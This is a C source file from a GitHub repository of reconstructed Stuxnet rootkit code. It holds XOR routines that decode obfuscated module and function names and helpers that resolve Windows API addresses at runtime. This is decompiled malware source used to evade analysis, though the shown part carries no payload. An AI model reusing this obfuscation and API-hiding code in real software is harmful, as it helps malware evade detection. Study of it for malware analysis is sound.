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https://github.com/micrictor/stuxnet.git
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d374a08824
A lot of changes, some small some large. Most notably, add in the rootkit source, courtesy of @Christian-Roggia Closes https://github.com/micrictor/stuxnet/issues/1
72 lines
2.1 KiB
C
72 lines
2.1 KiB
C
/******************************************************************************************
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Copyright 2012-2013 Christian Roggia
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Licensed under the Apache License, Version 2.0 (the "License");
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you may not use this file except in compliance with the License.
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You may obtain a copy of the License at
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http://www.apache.org/licenses/LICENSE-2.0
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Unless required by applicable law or agreed to in writing, software
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distributed under the License is distributed on an "AS IS" BASIS,
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WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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See the License for the specific language governing permissions and
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limitations under the License.
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******************************************************************************************/
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#include "EncodingAlgorithms.h"
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void DecodeFunctionNameA(const char *pEncodedFunctionName, char *pDecodedFunctionName)
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{
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if(!pEncodedFunctionName)
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{
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*pDecodedFunctionName = 0;
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return;
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}
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while( *pEncodedFunctionName != 0x12 )
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{
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*pDecodedFunctionName = *pEncodedFunctionName ^ 0x12;
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pEncodedFunctionName += 2;
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pDecodedFunctionName++;
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}
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}
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void DecodeModuleNameW(const WCHAR *pEncodedModuleName, WCHAR *pDecodedModuleName)
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{
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if(!pEncodedModuleName)
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{
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*pDecodedModuleName = 0;
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return;
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}
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while( *pEncodedModuleName != 0xAE12 )
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{
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*pDecodedModuleName = *pEncodedModuleName ^ 0xAE12;
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pEncodedModuleName++; pDecodedModuleName++;
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}
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}
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// 100% (C) CODE MATCH
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HMODULE GetModuleNTDLL(void)
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{
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WCHAR ModuleName[100]; // [sp+0h] [bp-C8h]@1
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DecodeModuleNameW(ENCODED_NTDLL_DLL, ModuleName);
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return GetModuleHandleW(ModuleName);
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}
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// 100% (C) CODE MATCH
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FARPROC GetFunctionFromModule(const WCHAR *pEncodedModuleName, const char *pEncodedFunctionName)
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{
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WCHAR pDecodedModuleName[100]; // [sp+0h] [bp-12Ch]@1
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CHAR ProcName[100]; // [sp+C8h] [bp-64h]@1
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DecodeModuleNameW(pEncodedModuleName, pDecodedModuleName);
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DecodeFunctionNameA(pEncodedFunctionName, ProcName);
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return GetProcAddress(GetModuleHandleW(pDecodedModuleName), ProcName);
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}
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